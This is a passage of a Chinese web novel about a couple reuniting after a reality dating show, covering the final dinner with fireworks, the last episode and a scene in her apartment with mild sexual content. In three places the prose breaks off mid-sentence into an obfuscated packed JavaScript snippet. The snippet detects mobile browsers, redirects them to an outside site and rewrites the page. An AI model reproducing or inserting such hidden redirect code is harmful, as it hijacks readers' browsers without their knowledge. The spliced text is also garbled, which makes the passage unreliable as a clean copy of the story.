一想到自己当时的丢人模样,温璐就止不住的后悔——早知道当时就直接承认自己害怕了!也比放话逞强之后被全网观众见证自己一把鼻涕一把泪的样子好啊!到现在她的微博评论区里还流传着她抹眼泪的动图表情呢! 顺着温璐的话题,两人把这段时间以来所有有趣的事情都回忆了一遍,这才发现,原来在短短一个月的录制时间里,竟然发生了这么多值得纪念、能够被珍藏一辈子的事情。 “本来还没什么实感的,但现在想想,突然还有些伤感了呢。” 温璐喝了口热牛奶,问她:“时缈,你来参加这个节目的录制,后悔了吗?” 因为今天的直播只围绕在外约会的嘉宾,因此别墅一到三楼的摄像头是全部关闭的,两人知道这一点,聊天也放松很多。 听见温璐的问题,时缈摇摇头:“当然没有。” 如果不是被劝说着参加了这个恋综,她或许这辈子都不会再和许钧闻产生交集了。 在这里的一个月,她不光认识了温璐这样的朋友,也真的找到了失而复得的宝物,她怎么会后悔呢? 她反而应该感谢,感谢命运眷顾,给了她一次修正过去的错误的机会。 “我也是。” 温璐点点头:“在这里认识你就是我最大、最好的收获了。” “虽然我对终选日没什么想法了,但今晚的晚宴还是要盛装出席的!这或许是我在这个节目里最高光、最美丽的一次了!” 温璐淡淡的伤感只存在了短短一瞬,而后又活泼起来:“早上,PD说会在午饭后给我们做妆造,这次我一定要一雪前耻,让我的客户们都看看,他们的律师还是很优雅很知性的!” 再不要给她发那些哭鼻子抹眼泪的表情包了!求求了! * 节目的最后一次晚餐,节目组斥巨资预订了江城最中心也是最高的建筑——江城国际中心,号称全程风景最好、最有情调的顶层餐厅。 在那里,可以直接俯瞰全程的夜景,仿佛整个城市都在自己的掌心之下。 “这还是我第一次来这里吃饭呢,”温璐小声附在时缈耳边说道,“要我自己的话,我可订不到这里的位置。” 倒不是这家餐厅的位置有多紧俏、多难预订。 而是它的价格实在是令人望而却步。 尽管温璐尽力压低了声音,但还是被别在领口上的小麦克风收了进去。 「哈哈哈哈哈哈哈,是真的,这个餐厅本江城人向往很多年了,但实在是订不起啊!」 「不是说律师都挣得很多吗?」 「那也得看是什么级别的律师吧,一开始入行的律师助理一个月也就三千来块钱,越有名的律师越能接到金额高的案子,拿到的律师费才会越贵。所以,别对律师行业滤镜太重了,绝大部分都只是法律民工而已……」 「前面的,别说了,本法律民工有点破防了TT」 “吃完今天这一顿,我也有资本出去吹牛说我在江城国际中心顶层吃过饭了。”温璐感慨。 「哈哈哈哈哈哈璐璐你也太没出息了哈哈哈哈哈,说好的冷艳专业的律政佳人呢!」 「但这真的很值得吹了,毕竟很多人可能一辈子都未必能毫无负担地来这里消费一次,前面点菜时摄影师都没有拍菜单,据我所知,这里随便一个前菜都要小四位数……」 「四位数的前菜……抱歉,打扰了。」 或许因为是这么多人聚在一起吃的最后一顿晚餐,整顿饭吃下来气氛都非常融洽,一桌人说说笑笑,像一群聚首寒暄的普通好友。 时缈今天穿了一条香槟金色的鱼尾裙,后背处的布料被裁剪出一个深深的“v”字,被发型师用卷发棒烫成大波浪卷的长发披散在背后,遮住了大片的雪白,但也营造出了一种别样的美感,将她的线条和气质衬托得愈发美好。 「该说不说,学过舞蹈的人仪态就是好。」 「时缈刚刚走进来的时候,你就算说这是个女明星在走红毯我都会信的。」 「所以时缈大美女有没有兴趣进军娱乐圈啊!她要是拍戏的话就算演技懒到家了我也会为了颜值买单的!」 「??前面的,没事吧,人家有自己热爱的事业,你在这儿瞎替人家规划个什么劲儿?」 「都别吵了,弹幕影响我看我哥的脸了。」 「好久没见许哥穿得这么正式了,每看一次就要重新爱上许哥一次的程度。」 「整张桌子上最帅的是许钧闻,最美的是时缈,谁同意?」 「拜托,明明最好看的是妹宝好吧?有些邪门cp粉别以为我看不出来你在夹带私货啊!」 晚餐进行到尾声,导演的声音忽然传来: “接下来,还有一个特殊的节目送给各位嘉宾。” 导演坐在机器后面,示意众人去露台:“这个节目是许钧闻老师用自己手里最后一张道具卡为大家兑换来的,希望大家都能拥有一个美好的夜晚,也希望大家能够借此机会,做好明日终选的决定。” 众人好奇地看向许钧闻。 “居然还有‘特别节目’啊,许老师?”祝意安颇有些遗憾,“导演不说,都快忘记许老师手里还握着一张神秘的功能卡了。” “啊,感觉整个节目录下来,大部分时候都是闻哥和程哥在赢,尤其是在短信收发预测的时候。” 青葭握拳,朝摄像头的方向挥了挥,喊话导演:“我申请下一季还来!回头我多刷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009521|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几部偶像剧,争取下一季的短信预测通通拿满分!” 「哈哈哈哈哈妹妹好可爱!」 「咱们不亏哈,人家一个有老婆的一个心里有白月光的,看感情问题肯定比你一个母胎solo要一针见血啊哈哈哈哈哈,咱们赢不了人家也是有原因的哈~」 「妹妹别光刷偶像剧了,不然让公司给你接部偶像剧客串一下,说不定就能get到恋爱的感觉了!」 一行人整理好自己的衣服和发型,按导演的指示来到露台。 远处,是被墨色浸透的天空,月明星稀。 而低下头,目之所及是被万家红尘灯火点缀着的江城。 这座被人们评价为“纸醉金迷”“灯红酒绿”“快节奏大都市”的城市,在此刻,宛如一个精致的袖珍模型,静静地毫无保留地展示着自己的魅力,勾起人们无数的想象。 「哇,第一次在这个角度看江城的夜景,好美!」 「所以,那个特别节目到底是什么?别卖关子了啊节目组。」 弹幕正讨论得热火朝天,忽然,一声哨响。 一道缀着长尾的红色火焰蹿上云霄,在夜幕中轰的一下炸出一朵璀璨眼里的花。 “啊——是烟花!”青葭指着天空。 很快,众人的惊呼声就被烟花绽放的声音盖住,大朵大朵五颜六色的烟火此起彼伏地在夜空中绽开,只为了抓住这转瞬即逝的短暂时刻,毫无保留地向所有人宣告自己的美丽。 时缈被眼前美丽的烟火震撼到几乎说不出话来。 曾几何时,她抱着平板缩在沙发上看电视剧,男主角求婚成功后在夜幕下与女主角亲吻时,背景音乐缓缓响起。 那是许钧闻第一次被经纪公司看中并买走的那首歌。 后来经由另一个女歌手的演唱,成为了那年夏天某部影视剧的主题曲。 “下一次,就是你亲自唱自己的歌给全世界听了。” 时缈担心许钧闻遗憾,轻声安慰:“要不是为了你的歌,我才不看这种无聊的电视剧呢。” 许钧闻剥了一颗葡萄送到时缈嘴边:“我以为,你会喜欢看这种剧呢,偶像剧,难道不是你们女孩子的最爱吗?” “一般般吧。” 时缈耸肩,随口道:“我要是导演的话,在这一幕一定会安排一场最最最盛大的烟花。” “是吗?什么叫‘最最最盛大的烟花’?说来听听。”许钧闻问道。 而现在,她当年给他描述的那场“最最最盛大的烟花”,真的出现在眼前了。 在铺天盖地的烟火中,一道橙色的火花绽开,天空中忽然出现了一行字: 欢迎回来。 什么意思? 众人有一瞬间的茫然。 下一刻,导演的话就通过扩音器传到每一个人的耳朵里:“欢迎各位从《适合恋爱的夏天》回到属于自己的真实的夏天。为期一个月的寻爱之旅虽然结束了,但祝各位嘉宾永远拥有爱与被爱的勇气,也许属于你们的真爱已经在来的路上了。” 「呜呜呜节目组好浪漫!」 「祝大家都能拥有一个美好的夏天!」 「节目结束了,有点舍不得呜呜呜呜,欢迎回来,回到真实、忙碌但充满惊喜的生活里。」 在漫天盛大灿烂的烟花里,许钧闻隔着人群,遥遥看着时缈的侧脸。 她专注地看着眼前的烟火,而他,只想专注地看着她。 时缈若有所感地转过头。 两道目光在半空中交汇。 许钧闻薄唇轻启,朝她做了个口型。 “欢迎回来。” 他对她无声说。 重逢的旅程到此结束,欢迎回到我身边,我最亲爱的。 68. 68首情歌 天气晴朗,万里无云,风中裹着淡淡的花香气息。 正是个适合录节目的好天气。 《适合恋爱的夏天》在这样一个风和日丽的夏日里,开启了最后一场直播录制。 「啊啊啊来了来了!」 「虽然基本上知道结果了,但还是有点紧张是怎么回事……」 「是我来晚了吗?今天的选择规则是什么啊有人知道吗?」 「怎么只看到男生,没见到女生啊?」 或许是为了callback节目第一期,四个女嘉宾按照入住别墅那天的出场顺序,被节目组由近及远地分别安排在了离开别墅的那条小路上。 男嘉宾们也按照入住别墅的顺序依次从别墅门口出发,带着自己准备的礼物,沿途和每一位女嘉宾告别,见到自己心仪的女生,即可向对方表白并邀请对方和自己一同乘车离开,若女生同意和对方一起离开,就视为“牵手成功”。 而为了吊足观众们的胃口,这一次的直播视角全程跟随男嘉宾,在男女嘉宾碰面之前,所有直播间的观众都和男生们一样,根本不知道女嘉宾那边的情况—— 也就意味着,男嘉宾们不知道,自己心仪的女生是否已经跟之前出发的男生一起离开了。 * 别墅内,会客厅中。 “最后一场了,对于今天的结果,四位观察团成员可以商量一下,然后在白板上做出对牵手结果的预测。” 别墅内,导演笑吟吟地看着四位观察团嘉宾:“这一次是团队战了哦,虽然没有奖励,但还是祝大家好运。” “所以我们预测完就要离开啦?不给我们看结果的嘛?”青葭问道。 导演笑得一脸高深莫测:“最终的结果,要放在录播版进行揭晓了哦。” 好一个吊足观众胃口的法子。 几人在内心中腹诽。 “最后这一场,结果其实也很明显了吧。” 祝意安拿起白板笔,走到白板面前,利落地在朱蕴和薛明浩、罗艺亭和林问两对之间连上了线:“这两组牵手成功,其余几位牵手失败。谁支持谁反对?” 程子归耸肩:“我没意见。” 青葭也点头:“我也同意。” “许老师呢?”祝意安看向许钧闻。 许钧闻抱着手臂,语气散漫:“我也没意见。” 而后他起身,理了理自己的衣摆,转头看向导演:“这样我们就算完成录制了是吧?能走了?” “啊,啊,可以可以。” 导演比了个“ok”的手势:“辛苦各位老师了,录制结束,祝大家生活愉快。后续如果还有其他工作,我们会再和各位的团队进行联系的。” 在录播版播出期间,所有嘉宾们还需要配合节目组完成一系列的宣传工作。 这是在合约里白纸黑字明确规定着的。 许钧闻点点头表示知晓,朝一屋子的人摆了摆手:“辛苦各位,我还有事,就先走一步了。” * 时缈作为最后一个登场的女嘉宾,自然是被节目组安排在了距离出发点最远的位置。 周围除了两个扛着机器的摄影师之外没有其他人,为了方便摄影师采集素材,时缈也不能跟他们闲聊,只好无聊地站在原地发呆。 这条路是他们每天进出别墅的必经之路,以往她都是坐在车里看着掠过窗外的风景,这还是她这一个月以来第一次站在这里仔细观察周围的花草树木。 近处,是在风中婀娜摇曳的花枝;远处,隐约能够看见别墅三楼四楼的窗户。 时缈望着别墅的方向,一时间有些出神。 不知道这里正对着的那扇窗户,是不是许钧闻住过的那个屋子。 前一晚回到房间,和温璐两人躺在床上闲聊,时缈说自己对这里有些不舍,这话并不是骗人。 许钧闻的工作性质所有人都心知肚明,离开了这幢别墅,时缈能够见到他的时间肯定会锐减。 明明他们也才和好没有多久。 好像就又迎来了分别的时刻。 当年,得知她要出国交换的时候,许钧闻也是这样的心情吗? 回想起来,那时候时缈从老师那里得到消息,以她的成绩和资质,可以申请到古典舞专业唯一的出国交流项目的时候,她并非没有纠结过。 将这件事说给许钧闻听的时候,时缈原本以为他会说些什么挽留或是安慰的话,可谁成想,许钧闻竟是丝毫都没有犹豫地鼓励她去报名申请。 “许钧闻,你就没有一点点不舍得我嘛?” 时缈一股气涌上来,不受控制地红了眼眶:“别人家的男朋友听见这种消息,多多少少都会有些难过的吧,你倒好,半句挽留都没有,你不爱我了!” 许钧闻好笑地揉了一把她的头发。 时缈气呼呼的,侧身要躲,却被人将手腕紧紧握住。 “谁说我没有舍不得了?” 许钧闻稍稍使力一拉,轻而易举地就将人圈进了自己怀里,下巴抵住时缈的额头,耐着性子解释:“你自己也说了,这是一个很好的机会。你不是想成为舞团首席吗?进修的机会这么难得,我不想你因为我放弃。” 时缈鼓了鼓腮帮子,正要说什么,就听许钧闻继续道: “换句话说,如果今天有个经纪公司要送我去国外进修一段时间,回来之后就能发原创专辑,你会因为舍不得就不想让我去吗?” 时缈顿了顿,抓住他的衣领,将脸埋进许钧闻的怀里。 她不答话,许钧闻就耐心地等着,并不催促。 “不会。” 半晌,时缈扬起头,主动凑上去亲了亲他的下巴:“我也不想让你为了我,放弃实现梦想的机会。” “那不就行了。” 许钧闻抬起她的脸,啄吻她的侧脸和唇角:“所以,我不会将你困在这里。我会努力,做出自己的成绩,成为配得上我们大首席的男人。” 过去的承诺言犹在耳。 他也做到了,成为了现在炙手可热的乐坛顶流。 只是,她好像没能成为那个与他相配的人。 * “时小姐,到了。” 司机将车缓缓停在时缈所居住的小区大门前,转头提醒她。 “谢谢师傅,”时缈笑着点点头,朝车上挂着的gopro挥了挥手,“再见啦大家,后会有期。” 时缈拖着行李箱下车,行李箱把手上还“坐着”一人高的白色大熊,时缈单手抱着怀里开得灿烂的百合花束,一只手艰难地推着行李箱朝家走去。 白熊和花束分别是周璨和白景川送给她的礼物。 周璨将熊递给她:“已经能够猜到你的答案了,姐姐,我就不邀请你和我一起离开了,祝你开心,做不成情侣还是可以做朋友的嘛,以后常联系哦。” 时缈点点头:“好。” 而白景川则是浅浅拥抱了她一下,然后笑着问:“所以我还有机会吗?” 时缈歪了下头,笑笑没说话。 成年人之间,有时候也不需要把话说得那么明白。 在录完最后一段素材之后,时缈在工作人员的引导下坐上了节目组安排的车,沿着来时的路,回归自己真实的生活。 熟悉的大门和楼栋出现在眼前,时缈竟有一种恍若隔世的错觉。 像是一场绚丽的烟花终于落下帷幕,只剩下寂寞的黑夜,不断提醒着她:从今天开始,她可能就没有办法每天见到那个人了。 因为那只大白熊的存在,时缈有些控制不好箱子的方向。 轮胎和花坛边缺角处摩擦,发出了一道嘶哑的声音。 时缈叹口气,转身去解大白熊身上的绑带。 正要将它抱起来,头顶一只手伸出来,拎着大白熊的后颈将它从她的箱子上提起来。 “等……” 时缈抬头想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019849|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要阻止,却对上了一双熟悉得不能再熟悉了的眼睛。 “你怎么在这儿?” 时缈看了看他头戴鸭舌帽和口罩的模样,又左右看了看,确保这会儿周围没人,低声道。 “先进去再说。” 许钧闻一手提着那只大白熊,另一只手推着时缈的行李箱,轻车熟路地朝她所住的那栋楼走去。 自然得仿佛是回自己家似的。 时缈担心他随时会被路人认出,也不敢声张,快步走进电梯按下楼层。 电梯里只有他们两个人,时缈稍稍放下一点心,这才有功夫继续刚才的话题:“你怎么到这来了?” 上次他主动去找她,是因为他去见了孟巍,而对方用她来威胁他。 那这次呢? 时缈看向许钧闻:“孟巍又来找你了?” “怎么,他不来招惹我,我就不能来找你了?” 许钧闻上前一步,将人堵在困在自己和电梯壁之间,低着头看她:“我看你是不是忘记了点什么。” 忘了什么? 时缈随着他的靠近,被迫仰头看他。 几年不见,许钧闻这家伙变得越来越喜欢打哑谜了,难道娱乐圈有一本生存指南,打开第一页就写着“有话千万不能直说”吗? 好在,电梯抵达楼层耳朵提示音短暂地拯救了她。 时缈从许钧闻的手臂下面俯身钻过去:“到了到了。” 她的公寓装的是指纹密码锁,她将大拇指按上去,“滴”的一声,房门打开。 “箱子先放在门口吧。” 时缈俯身,在鞋柜里拿出一双男士拖鞋。 许钧闻挑了下眉。 和他上次来时见到的那双不一样。 “新的,放心穿。” 上次他忽然造访,时缈只好先把之前父母来看她时,给爸爸准备的那双拖鞋拿出来将就一下。 当晚,她就打开购物软件,下单了几双新的拖鞋,男女都有。 时缈没有回头,一边说一边俯身解着高跟鞋的绑带。 为了上镜,她今天选了一条非常有气质的法式吊带裙,搭配了一双很好看、但是很难穿的细跟高跟鞋。 “怎么忽然买新拖鞋了?” “哦,就是突然觉得,万一将来有朋友来做客呢,总得有几双备用的。”时缈解释。 “是吗。” 许钧闻走近:“什么朋友?送你玩具熊的朋友,还是送你花的朋友?” 时缈转头反驳:“这都……” 腰间一股力道传来,时缈忽然被人圈着腰搂起来。 双脚腾空的瞬间失重感让她下意识地搂住了许钧闻的肩膀,一声惊呼还没来得及发出,就被人堵了回去。 许钧闻将人抱起来放在鞋柜上,毫不留情地咬了下时缈的下唇:“我不在就收别的男人的礼物,嗯?” “你讲点道理,”时缈戳了戳他的肩膀,“节目组安排好的。” “不讲,”许钧闻逼近,说话时的呼吸扑在她鼻尖上,“现在,节目录完了,还讲什么节目组的道理。” “咚”的一声。 刚才被时缈解开绑带的那只摇摇欲坠的鞋子终于还是掉了下去,在地板上砸出一声响。 “之前是怕人看见。” 许钧闻捏住她的下巴,凑近亲了亲她的鼻尖。 然后是眼睛、侧脸、耳垂。 最后来到她的唇角。 若有似无地碰了几下,许钧闻按着她的后背,自下而上,一双黢黑深沉的桃花眼一瞬不瞬地盯着她,不放过她任何的表情和反应。 “现在总不怕有人会看见了吧?” “许钧闻。” 时缈小声叫他:“你不回去的话,经纪人不管吗?” “接下来一周我都没有工作安排。” “所以,我今天不赶时间。” “我们有的是时间讲道理。” 69. 69首情歌 夏日,夜幕初临。 天边最后一丝夕阳余晖彻底消失在地平线上,不远处启明星在夜幕中闪烁。 墨色浓重,厚重的乌云紧紧将月亮掩在身下,严严实实地压住,半分清辉都不肯让它透出来。 夏风中透出显而易见的闷热与焦灼,像是要将天地一把火悉数燃尽。 包括时缈所在的这间小公寓。 玄关的鞋柜上,时缈单手撑在身后,另一只手手指扣在许钧闻的颈窝。 她的手指冰凉,而他的皮肤滚烫。 可许钧闻却像是感觉不到凉似的,紧揽着时缈,让她更加贴近自己。 时缈微微睁开眼,黑暗中,许钧闻的轮廓近在咫尺。 闭上眼,视野一片漆黑,反倒衬得其余感官越发敏锐。 人心有时候就像是一个潘多拉的盒子,一旦被打开,其中的贪恋和欲.念就会不受控制地跑出来。 许钧闻原本不想吓到时缈的。 可偏偏一靠近她,脑子里有些念头就忽的冒出来,压也压不下去,驱使着他离她近一些、再近一些,最好是将她的轻颤的睫毛、胸腔起伏的弧度以及全部呼吸和声音全部独自占有。 如果可以,他甚至想要将她圈锢在自己身边,哪儿也去不了。 时缈的小腿被他握住,另一只晃晃悠悠挂在脚尖的高跟鞋终于还是重重地坠下去。 可这一次,时缈甚至听不清它落在地板上的声音。 许钧闻的吻极其强势,以令她毫无反抗余地的姿态同她极尽纠缠。 直到他们的呼吸频率彻底交叠在一起。 时缈只觉得胸腔内的空气愈发稀薄,按在他肩膀上的手指紧紧攥住许钧闻的T恤领口,布料上皱出一个深深的漩涡。 她以为他是她在漩涡中唯一一根救命稻草、不能松开的浮木。 可她忘记了,他才是漩涡本身。 那只握住她小腿的手掌一路向上,拨弄了下她散开的长裙裙摆。 掌心火热的温度仿佛将时缈灼到似的,她下意识地想要吸气,却反倒是给了他跟进一步的机会。 许钧闻不甚温柔地打开她的膝盖,长腿微曲,轻而易举地将自己的腿卡在她双膝之间,让她彻底无路可退。 时缈只能透过他短暂留出的间隙维持自己的呼吸,但紧接着迎来的就是更加强势的攻城略地。 她不是不想叫停。 可许钧闻太清楚她的任何一个细微的反应了,某些层面上,许钧闻甚至比她自己都要了解自己。 因此他丝毫不留给她逃离或反抗的机会,像是真的要将这六年欠下的亲吻通通讨回来似的。 “等……” 时缈的音节被碾得破碎:“没有,家里……” 家里没有套。 从她零星几个字中拼凑出她话里的意思,许钧闻终于舍得退出来几分,将她按在怀里,还带着水渍的唇瓣印在她脖颈处白皙的皮肤上。 他贴着她的皮肤说话时,呼出的热气尽数打在时缈大动脉处的皮肤上,激起她一阵战栗。 “又不是非要进去。” 他低笑一声,语气里带着再明显不过的肆意和占有欲。 “以前不是也用其他法子让你爽过。” 每每在这种情状下,许钧闻身上最后那点体面会彻底被撕开不见,整个人是从里到外的直白粗野。 时缈感觉自己的耳根瞬间泛起了热。 若非是晚上,恐怕她都能从他的眼睛里看到自己耳廓红透的样子。 可偏偏,她又做不到像他这样说话。 每次都被他逗弄得不肯多发出任何一个音节。 她甚至怀疑,许钧闻就是故意要看她窘迫羞赧的样子才总是这副腔调和她说话的。 风中的燥热忽然褪去了几分,多了一点耐心。 像是安抚,但更像是诱哄。 “时缈,我曾经教过你的。” 他的掌心按在她膝盖上,一下一下地轻吻她的颈窝,再到侧脸,而后是鼻尖。 最后回到她嫣红的唇瓣上,又轻及重,自浅而深。 风将乌云吹动几分。 月光得以从云层的罅隙中透出来。 时缈迷迷糊糊的,只觉得自己从心脏到四肢的血液都在蒸腾,似乎被夏天在身体内放了一把野火。 她清醒又混沌地意识到,除非忽然出现一场倾盆大雨,将云层搅散。 否则,今夜恐怕是无缘见到月亮了。 ……就在此时,忽然一道手机铃声突兀响起。 风声骤停。 雨意将至。 时缈终于得以喘息。 一道微弱的光芒在两人之间亮起,时缈眯着眼睛去看——许钧闻的手机屏幕上,来电人的备注清晰可见。 是他的经纪人豪哥。 “喂?” 许钧闻耷着眉毛,没好气地对着手机道:“你最好是有点什么重要到现在非说不可的事情。” “?” 还什么都没有来得及说的豪哥被他扑面而来的低气压打了个措手不及,下意识不明所以地看了看挂在墙上的时间。 这也还没到这祖宗睡觉的时间啊?怎么一副被人吵醒火气很大的样子? “有事有事,K家的代言不是马上就要到期了嘛,法国总部那边下一周会举办一场慈善晚宴,他们发邮件来邀请你出席,或许有机会提前探一探续约的口风。” 豪哥长话短说:“我这不是得到消息后,第一时间就想着先通知你一下么。” 虽然算不上是什么小事,但也并非不能等到明天再说。 许钧闻闭了闭眼睛,凉飕飕地说:“那我真是谢谢你了。” “行,那就先这样,您继续忙。” 豪哥意识到这尊大佛现在似乎不是很愉快的样子,也不敢触他霉头,忙不迭地挂断了电话。 “……” 四目相对。 两人离得极近,沉默对视。 几分钟前还旖旎到几乎可以被一把火点燃的气氛散去了大半。 有些事情,错过了那个契机和氛围,再继续,就显得有些怪怪的了。 “噗。” 时缈侧过头,忍了忍,最后还是轻笑出声。 下一秒,耳垂就被人毫不留情地咬了一口:“笑什么?” “你现在可是个大忙人了呢,”时缈歪了下头,将滑落的裙子肩带捞起来,伸出两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028032|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根手指戳了戳许钧闻的肩膀,“大明星,我饿了。” 许钧闻捏着她的下巴,意犹未尽地在她唇角啄了几下,这才直起身,将时缈从鞋柜上抱下来。 “冰箱里有什么?” * 这段时间不在家,时缈的冰箱里几乎没有新鲜蔬菜。 许钧闻慢条斯理地将一颗鸡蛋打进锅里,白色的雾气飘上来,模糊了他锐利的眉眼。 他的身上还围着时缈淡粉色碎花围裙。 淡粉色、碎花、围裙。 不论哪个词拎出来,似乎都和他平日里的气质大相径庭。 可偏偏,此刻站在时缈公寓的厨房里,围着围裙煮面条的许钧闻,动作娴熟又自然,仿佛这些动作他早就做了千遍万遍一样。 时缈已经回屋换了身衣服,然后趿着拖鞋走到冰箱前:“椰子水还是苏打水?” 她不怎么爱喝白开水,总觉得嘴里差点味道,因此冰箱里常年备着些热量不高但又有些滋味的饮品。 “苏打。” 说着,许钧闻将烧热的油浇进提前准备好的装着蒜末葱段和芝麻的碗里,热油将调味料的味道尽数激发出来,空气里回荡着熟悉且诱人的香味。 以前,为了维持身材,时缈晚上几乎不怎么吃东西,更不必说面条这种精致碳水了。 可她偏偏总是眼大肚皮小,信誓旦旦地说自己今天真的超级无敌饿、一定能把这些都吃完,结果最后都是许钧闻负责“打扫战场”。 后来,时缈一个人在国外的时候,也不是没有想过复刻许钧闻煮的面条。 可不管怎么做,她总觉得味道比他做得差了一些。 “你吃多少?”她问。 “都行,你做多少我就能吃多少。”时缈耸了耸鼻子,小馋猫似的。 许钧闻搅动着锅中细面的筷子微微一顿。 虽然心结解开了,但每每想到她是因伤再也无法站在舞台中央翩翩起舞的时候,许钧闻总是忍不住心疼。 “现在不好吗?想吃什么的时候就能吃,也不用顿顿把热量计算得那么精确,有胃口就多吃,没胃口就少吃,多么正常且美好的生活。” 时缈走上前,从许钧闻的身后抱住他的腰:“好香,许老师,我能申请再加半根火腿肠吗?” “加了你还吃得下?”许钧闻侧脸回眸。 “能啊。” 时缈使劲点头,而后将侧脸贴在他后背上,感受到他脊椎处的骨头微微凸起的触感,嬉笑着撒娇:“吃不完的话这不是还有你嘛?” 许钧闻低笑一声,却也没有反驳。 反正他以前也没少吃她吃不下的东西,不仅是面条,那些逛夜市时所以香味扑鼻吸引到她的小吃,最终绝大部分还不都是落在他手里。 “不过你这面条煮的是真的很好吃。” 时缈探出头:“我后来照着你的步骤做过好几次,但是都做不出来你做的这种味道。许钧闻,难不成你每次还背着我放了什么神秘配方?” “是啊,只有我一个人知道的神秘配方。” 许钧闻点点头,捞过一只碗,将面条盛出来。 “你要是想吃的话,就只能一辈子和我在一起了。” 70. 70首情歌 自从时缈参加了恋综之后,身边人最常问的一个问题就是: 有没有觉得你的生活哪里变得和之前不一样了? “能有什么不一样,不还是每天家、食堂、单位,三点一线。” 时缈无奈地笑:“你指望我的生活发生哪些改变?从一个普普通通的小编导变成那种上了节目之后一夜爆红,从此直播带货月入几百万的女网红吗?” “可不就是。” 同时笑着挽住时缈的手:“尤其是那个罗艺亭,之前本来就是个网红,节目播出之后广告报价恐怕要更上一层楼了。” “其他人的微博我看陆陆续续也开始发商家广告了,我就不信没有品牌方来找过你哦。” 有倒的确是是有。 时缈对这方面没有涉猎,品牌pr们发来的私信,她顺手截图给许钧闻看了一眼,据他说,品牌方给她的报价,在同层级的博主里已经算是相当高的了。 “就一条视频,值八万块?” 时缈蹙着眉:“这钱也太好挣了吧。” 她可算是知道,为什么现在人人都想当网红了。 人家一条视频广告的报价,就抵得上普通人一整年的工资了。 “而且我还看见有人在网上说,周末出去逛街的时候,偶遇朱蕴和薛明浩了。” 同事托着腮:“又赚到钱了,还碰上桃花了,啧啧啧,这恋综录得可真值啊。” 说到这,同事转头看向时缈,恨铁不成钢:“倒是你啊时缈,我原本想着,以你的身段长相,想在这样的节目里脱单简直是分分钟的事情,没想到,录完节目你居然还是孤家寡人一个!” “……” 时缈尴尬地笑笑。 这话最近已经有不少人和她说过。 尤其是她亲爱的母亲大人。 “平时总说自己交往圈子小、除了舞团的同事之外没什么认识新朋友的机会,这回把你送去参加那个什么恋爱综艺,都给你创造机会去认识新朋友了,结果你怎么还是一个人出来了。” 节目最后一期直播结束的第二天,吴筠竹的电话就打了过来,语气里慢慢都是恨铁不成钢的意味。 “你说说你,快三十的人了,还一天到晚单着,你准备单到什么时候才算是个头?” “……吴老师,不能因为你是个语文老师,就能放任自己数学差成这样啊。”时缈哭笑不得,“我还没过二十七岁生日呢,怎么就快三十了?” “少跟我贫嘴。” 吴筠竹不吃她这套:“你今天就给我个准话,你准备什么时候带个男朋友回来?总不能一直当个孤家寡人吧。” 孤家寡人。 她现在倒真不是了。 但目前,她也确实没有这么快就把许钧闻带回去见父母的准备。 毕竟两人才刚刚和好没多久,何况许钧闻的职业又比较特殊,贸然把许钧闻带回家,恐怕会吓自家二老一大跳。 时缈想了想,回答吴筠竹:“如果有机会的话,争取过年的时候领一个回去给你看看吧。” 同事并没有在这个八卦上纠缠太久,很快就换了个话题:“时缈,下班之后干什么去?要不要一起去玩剧本杀?” “不了。” 时缈摇摇头:“得回家喂猫。” “喂猫?你养猫啦?” “不是,”她笑笑,“朋友出差,寄养在我家里的。” * “圆圆?圆圆。” 时缈将猫粮倒进专门给小猫准备的饭盆里:“圆圆,吃饭啦。” 叫了几声之后,一个漂亮的白团子从沙发和墙壁的角落里滚出来,倒着小短腿跑到她身侧,亲昵地蹭了蹭她的小腿,然后凑到饭盆前,吃起东西的时候小脑袋一点一点的。 那边小猫在吃晚饭,这边时缈随意盘腿坐在地毯上拆快递。 时缈没有养过宠物,但好在那位“把猫咪寄养在她家的朋友”在把小猫送来的时候,将一堆大包小包的宠物用品也一道送过来了。 “你这哪里是寄养。” 她看着摆在客厅里还没来得及收拾的,由许钧闻工作室的工作人员送过来的大包小包,对着视频那边随口道:“你这怕不是把它整个家都搬来了。” “当爹的出差了,妈妈家可不就是它的家。” 许钧闻靠在沙发上,挑了下眉:“再说了,我买它可都是为了你。” “为了我?” 时缈茫然。 她不讨厌小动物,但也对养宠物没有什么太高的热忱和执念,在她的印象里,他们谈恋爱的时候可从来都没说起来过类似于“要一起养个宠物”之类的话题。 “是啊。” 许钧闻点点头:“我那时候不是说,‘因为家里的猫之前偷溜出去,那几天刚找回来,还在气头上,心情不太好’吗?” “既然话都那么说了,如果不养一只猫的话,到时候被网友们发现了,岂不是露馅了。” 